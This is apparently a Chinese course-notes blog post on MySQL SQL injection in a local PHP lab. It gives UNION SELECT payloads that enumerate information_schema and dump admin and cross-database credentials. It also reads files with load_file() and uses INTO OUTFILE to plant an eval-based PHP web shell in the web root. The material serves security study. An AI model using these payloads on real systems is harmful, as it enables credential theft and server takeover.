2031 字
10 分钟
第42天:WEB攻防-PHP应用

042-WEB攻防-PHP应用&MYSQL架构&SQL注入&跨库查询&文件读写&权限操作 #知识点:

1、PHP-MYSQL-SQL注入-常规查询 2、PHP-MYSQL-SQL注入-跨库查询 3、PHP-MYSQL-SQL注入-文件读写

演示案例:

➢PHP-MYSQL-Web组成架构 ➢PHP-MYSQL-SQL常规查询 ➢PHP-MYSQL-SQL跨库查询 ➢PHP-MYSQL-SQL文件读写

MYSQL注入:(目的获取当前web权限) 1、判断常见四个信息(系统,用户,数据库名,版本) 2、根据四个信息去选择方案

root用户:先测试读写,后测试获取数据 非root用户:直接测试获取数据

#PHP-MYSQL-Web组成架构#

服务器安装MYSQL数据库,搭建多个站点,数据库集中存储MYSQL数据库中管理 可以都使用root用户管理也可以创建多个用户进行每个网站对应的数据库管理

a776603f8788a7d69c73c50dc9de1238

1、统一交root用户管理#

24468fa5c3e1692370d5f628b724554f

2、一对一用户管理(推荐)#

自己的网站单独创建数据库用户去管理自己的数据库

7706edf7b7f3946843a2ab049cea772e

#PHP-MYSQL-SQL常规查询#

1e7268e9ea554583147cbe8442ccc18c

1.SQL注人的概念#

原理:接受的参数值未进行过滤直接带入SQL查询的操作 攻击:利用SQL语句执行你想要的东西(SQL语句能干嘛,注人就能干嘛) SQL语句能干嘛⇒SQL语句由谁决定⇒数据库类型决定〈为什么mysql注入。oracle注人叫法原因)

ac4550ea3f1a0dcdeae0a082f537af56

相关解释

0b9a1471ed8dcaf59bbe0deeccce4678

获取相关数据: 1、数据库版本-看是否符合information_schema查询-version() 2、数据库用户-看是否符合ROOT型注入攻击-user() 3、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os 4、数据库名字-为后期猜解指定数据库下的表,列做准备-database()

MYSQL5.0以上版本:自带的数据库名information_schema

information_schema:存储数据库下的数据库名及表名,列名信息的数据库 information_schema.schemata:记录数据库名信息的表 information_schema.tables:记录表名信息的表 information_schema.columns:记录列名信息表 schema_name:information_schema.schemata记录数据库名信息的列名值 table_schema:information_schema.tables记录数据库名的列名值 table_name:information_schema.tables记录表名的列名值 column_name:information_schema.columns记录列名的列名值

2.SQL注人的流程:获取数据→一步一步得到信息

order by 6:这是一个排序语句,指示按照第6列进行排序。

​ 实战中,需要进行判断注入的列名有几个。

​ 有的话页面正常执行

​ 没有即会报错

​ 如:该表存在6列,输入7后会报错

image-20250818152918616

image-20250818152904217

union select 1,2,3,4,5,6:这是一个UNION查询,用于将多个SELECT语句的结果合并在一起。在这个例子中,它选择了6个列,每个SELECT语句都返回常量值。

发现执行后回显的数据:分别出现在网页署名(2),正标题(4),副标题(4),次标题(5) 如果没有回显数据,则在查询id加入负号即可http://127.0.0.1/new.php?id=-1 union select 1,2,3,4,5,6 查找回显的作用:可以判断后期注入查询返回的数据,可以在页面中显示出来;

image-20250818173731481

union select 1,2,3,database(),user(),6:这个UNION查询选择了6个列,并在第4列返回数据库名称第5列返回当前用户,其他列返回常量值。

image-20250818183421695

union select 1,2,3,version(),@@version_compile_os,6:这个UNION查询选择了6个列,并在第4列返回数据库版本,第5列返回操作系统信息,其他列返回常量值。

返回数据库版本原因:MYSQL5.0以上版本:自带的数据库名information_schema(只有5.0以上的版本才可以实行下一步查询) 返回操作系统信息原因:如果是Linux系统对于后面的查询信息,大小写特定敏感

image-20250818183610355

union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema=‘demo01’:这个UNION查询选择了6个列,并从information_schema.tables表中返回指定数据库(demo01)中的所有表名的组合字符串。

0b3f0201b9f49d14ff04b74ac0155d7d

  1. information_schema.tables表记录表名信息的表

  2. table_schema:information_schema.tables记录**数据库名的列名值**

  3. table_name:information_schema.tables记录**表名的列名值**

    80866ca2caee8f1b6ce57aa0e3d2bfdc

    image-20250818201804611

image-20250818201503920

union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name=‘admin’:这个UNION查询选择了6个列,并从information_schema.columns表中返回指定表(admin)中的所有列名的组合字符串。 5a439cfe8790c909e9c75b2940739a8f

information_schema.columns 记录列名信息表

table_name:information_schema.tables记录**表名的列名值**

column_name:information_schema.columns记录列名的列名值

80866ca2caee8f1b6ce57aa0e3d2bfdc

image-20250818202740969

image-20250818202822849

union select 1,2,3,username,password,6 from admin limit 0,1:这个UNION查询选择了6个列,并从admin表中返回第一行记录的用户名和密码。

image-20250818204503249

image-20250818204735890

#PHP-MYSQL-SQL跨库查询#

1.SQL跨库查询:通过B网站的注入点获取A网站的账号和密码#

bf6207ba57906a02123a26a76e49214f

2.影响条件:当前数据库ROOT用户权限#

image-20250818210935206

3.跨库查询顺序#

union select 1,2,3,4,group_concat(schema_name),6 from information_schema.schemata: 通过 information_schema.schemata获取所有数据库的名称,并将这些名称连接成一个字符串

image-20250818211700136

union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema=‘zblog250817’: 通过 information_schema.tables 表获取 ‘zblog0817’ 数据库中所有表的名称,并将这些名称连接成一个字符串。

image-20250818211905933

union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name=‘zbp_member’ and table_schema=‘zblog250817’: 通过 information_schema.columns 表获取 ‘zblog250817’ 数据库中 ‘zbp_member’ 表的所有列名,并将这些列名连接成一个字符串。 image-20250818212810725

union select 1,2,3,mem_Name,mem_Password,6 from zblog250817.zbp_member: 尝试从 ‘zblog250817’ 数据库的 ‘zbp_member’ 表中选择 mem_Name 和 mem_Password 列的数据,限制结果集为一个行。

image-20250818213010115

4.注意事项

注意:由于是跨库操作,在此刻必须指明是哪个数据库的表名 from zblog250817.zbp_member: 不然会进行报错 表示 mysqli_query 返回的结果不是有效的 mysqli_result 对象,而是布尔值 false,可能是由于 SQL 查询执行失败

image-20250818213802612

必须数据库权限是ROOT用户权限→才可以进行跨库

  • 如下文件数据库配置则代表是最高权限ROOT用户权限

image-20250818214514718

  • 如果是其他数据库的权限
    • 只能看到该数据库用户下管理的表
  • 无法执行跨库

image-20250818214534869

image-20250818214610549

#PHP-MYSQL-SQL文件读写#

1.影响条件:(必要条件)#

  1. 当前数据库用户权限→必须是root用户

image-20250818210935206

secure-file-priv设置→默认关闭,必须添加到MYsql的配置文件my.ini中

  • D:\phpstudy_pro\Extensions\MySQL5.7.26**my.ini**

image-20250818215512818

secure_file_priv 是 MySQL 数据库中的一个系统变量,用于限制使用 LOAD DATA INFILE 和 SELECT … INTO OUTFILE 语句时可以读取和写入的文件的路径。这个变量通常用于提高数据库的安全性,防止用户滥用这些语句导致的文件系统访问。

如果设置了这个变量,MySQL 将仅允许在指定的路径下进行文件的读取和写入操作。 如果没有设置,MySQL 将默认使用空值,表示禁用 LOAD DATA INFILE 和 SELECT … INTO OUTFILE。

例如,如果 secure_file_priv 被设置为 c:\,那么在执行 LOAD DATA INFILE 或 SELECT … INTO OUTFILE 时,只允许读写位于 c:\ 目录下的文件 image-20250818220336969

image-20250818220147874

image-20250818224253876

2.进行测试

测试不同数据库用户:root demo

union select 1,load_file(‘d:\1.txt’),3,4,5,6这个部分尝试使用 MySQL 的 load_file 函数加载本地文件 ‘d:\1.txt’ 的内容,并将其作为查询结果的一部分返回。

image-20250818224400828

union select 1,‘xiaodi’,3,4,5,6 into outfile ‘d:\3.txt’

  • 将查询结果写入一个文件 ‘d:\3.txt’。
    • 这个查询也是一种尝试,试图将查询结果写入到指定的文件中。
    • 成功写入

image-20250818230054585

image-20250818230116422

union select 1,2,3,'',5,6 into outfile ‘D:\phpstudy_pro\WWW\demo_01\xiaodi.php’ 将木马文件写入网站源码目录,方便获取权限

****这是一个PHP代码片段,它使用eval()函数执行传递给POST[x]的代码。这段代码的含义是,它将执行_POST[x]的代码。这段代码的含义是,它将执行_POST[x]参数中包含的任意代码。 into outfile ‘D:\phpstudy_pro\WWW\demo_01\xiaodi.php’: 这是将木马文件写入网站源码目录,指定了写入的路径和文件名

image-20250818230645360

3.读写的路径的问题:#

1、报错显示获取路径

0a450c5841a93e3ced8448cb7ae41778

2、phpinfo页面泄漏

08c8a531ed530d3a0dbe2950a24f460a

a903e26a654647b66ac20cdb846e5fe8-1

如果不知道路径思路: 用常见的默认的中间件,数据库等安装路径读取有价值信息

load_file()常用路径:load_file()常用路径_load file 目录-CSDN博客

解决:单引号过滤绕过方式

sql注入中用单引号就不要编码,编码就不要用单引号(路径、表面、数据库名等)

第42天:WEB攻防-PHP应用
https://konwait12.github.io/my-kon-blog/posts/042web攻防/
作者
k-on!--wait
发布于
2025-08-18
许可协议
CC BY-NC-SA 4.0